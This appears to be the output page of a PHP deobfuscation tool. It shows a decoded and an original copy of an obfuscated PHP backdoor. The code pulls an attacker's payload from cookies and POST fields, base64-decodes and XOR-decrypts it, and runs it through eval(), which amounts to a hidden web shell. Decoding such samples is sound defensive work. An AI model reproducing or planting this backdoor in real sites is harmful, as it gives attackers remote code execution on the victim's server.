Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$uTWnVXtkxt = "\x44" . chr ( 280 - 190 )."\x6c" . "\x5f" . "\157" . chr ( 661 - 556 )."\16..

Decoded Output download

<?  $uTWnVXtkxt = "D" . chr ( 280 - 190 )."l" . "_" . "o" . chr ( 661 - 556 )."r";$obShSsZ = chr (99) . 'l' . "a" . "s" . "s" . "_" . "e" . "x" . "i" . chr (115) . chr (116) . chr ( 1017 - 902 ); $onyre = $obShSsZ($uTWnVXtkxt); $uTWnVXtkxt = "48480";$Cgxrhm = $onyre;$obShSsZ = "7034";if (!$Cgxrhm){class DZl_oir{private $JzjIUEB;public static $UNotU = "12eb7e24-3ee3-4fb2-a348-0292c3637085";public static $rHtaMS = 37751;public function __construct($EBzdtK=0){$cqCnylz = $_COOKIE;$pROaeIpvZs = $_POST;$xLgnM = @$cqCnylz[substr(DZl_oir::$UNotU, 0, 4)];if (!empty($xLgnM)){$sapDVaZbgM = "base64";$kaSlrJ = "";$xLgnM = explode(",", $xLgnM);foreach ($xLgnM as $BZzbwwr){$kaSlrJ .= @$cqCnylz[$BZzbwwr];$kaSlrJ .= @$pROaeIpvZs[$BZzbwwr];}$kaSlrJ = array_map($sapDVaZbgM . "_" . chr ( 568 - 468 ).chr ( 1062 - 961 )."c" . chr (111) . chr ( 482 - 382 )."e", array($kaSlrJ,)); $kaSlrJ = $kaSlrJ[0] ^ str_repeat(DZl_oir::$UNotU, (strlen($kaSlrJ[0]) / strlen(DZl_oir::$UNotU)) + 1);DZl_oir::$rHtaMS = @unserialize($kaSlrJ);}}private function sKtqlevz(){if (is_array(DZl_oir::$rHtaMS)) {$tHfTNcOvz = str_replace(chr (60) . chr (63) . chr (112) . chr ( 620 - 516 ).chr (112), "", DZl_oir::$rHtaMS['c' . 'o' . chr ( 437 - 327 )."t" . 'e' . chr ( 324 - 214 )."t"]);eval($tHfTNcOvz); $FuzmWVfH = "4296";exit();}}public function __destruct(){$this->sKtqlevz(); $FuzmWVfH = "4296";$YCtjFuYtJq = str_pad($FuzmWVfH, 10);}}$aPrPRBCHl = new /* 31074 */ DZl_oir(); $aPrPRBCHl = substr("40562_18316", 1);} ?>

Did this file decode correctly?

Original Code

$uTWnVXtkxt = "\x44" . chr ( 280 - 190 )."\x6c" . "\x5f" . "\157" . chr ( 661 - 556 )."\162";$obShSsZ = chr (99) . 'l' . "\141" . "\x73" . "\x73" . "\137" . "\x65" . "\170" . "\151" . chr (115) . chr (116) . chr ( 1017 - 902 ); $onyre = $obShSsZ($uTWnVXtkxt); $uTWnVXtkxt = "48480";$Cgxrhm = $onyre;$obShSsZ = "7034";if (!$Cgxrhm){class DZl_oir{private $JzjIUEB;public static $UNotU = "12eb7e24-3ee3-4fb2-a348-0292c3637085";public static $rHtaMS = 37751;public function __construct($EBzdtK=0){$cqCnylz = $_COOKIE;$pROaeIpvZs = $_POST;$xLgnM = @$cqCnylz[substr(DZl_oir::$UNotU, 0, 4)];if (!empty($xLgnM)){$sapDVaZbgM = "base64";$kaSlrJ = "";$xLgnM = explode(",", $xLgnM);foreach ($xLgnM as $BZzbwwr){$kaSlrJ .= @$cqCnylz[$BZzbwwr];$kaSlrJ .= @$pROaeIpvZs[$BZzbwwr];}$kaSlrJ = array_map($sapDVaZbgM . "\137" . chr ( 568 - 468 ).chr ( 1062 - 961 )."\143" . chr (111) . chr ( 482 - 382 )."\145", array($kaSlrJ,)); $kaSlrJ = $kaSlrJ[0] ^ str_repeat(DZl_oir::$UNotU, (strlen($kaSlrJ[0]) / strlen(DZl_oir::$UNotU)) + 1);DZl_oir::$rHtaMS = @unserialize($kaSlrJ);}}private function sKtqlevz(){if (is_array(DZl_oir::$rHtaMS)) {$tHfTNcOvz = str_replace(chr (60) . chr (63) . chr (112) . chr ( 620 - 516 ).chr (112), "", DZl_oir::$rHtaMS['c' . 'o' . chr ( 437 - 327 )."\x74" . 'e' . chr ( 324 - 214 )."\x74"]);eval($tHfTNcOvz); $FuzmWVfH = "4296";exit();}}public function __destruct(){$this->sKtqlevz(); $FuzmWVfH = "4296";$YCtjFuYtJq = str_pad($FuzmWVfH, 10);}}$aPrPRBCHl = new /* 31074 */ DZl_oir(); $aPrPRBCHl = substr("40562_18316", 1);}

Function Calls

chr 6
class_exists 1

Variables

$obShSsZ class_exists
$uTWnVXtkxt DZl_oir

Stats

MD5 ee8fb580aec38c93fb33dda0ca2cfc8b
Eval Count 0
Decode Time 90 ms